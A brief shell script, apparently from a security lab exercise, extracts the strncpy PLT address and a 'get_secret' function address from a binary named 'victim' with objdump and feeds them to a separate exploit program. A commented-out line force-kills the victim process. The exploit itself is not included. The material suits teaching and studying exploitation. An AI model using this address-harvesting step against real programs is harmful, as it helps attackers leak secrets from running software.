#!/bin/sh
plt_item=$(objdump -d victim | grep -E "<strncpy@plt>:" | awk '{printf "0x" $1}')
gadget=$(objdump -d victim | grep -E "<get_secret>:" | awk '{printf "0x" $1}')

./exploit victim $plt_item $gadget & 

#ps -ef|grep victim|awk '{print $2}'|xargs kill -9

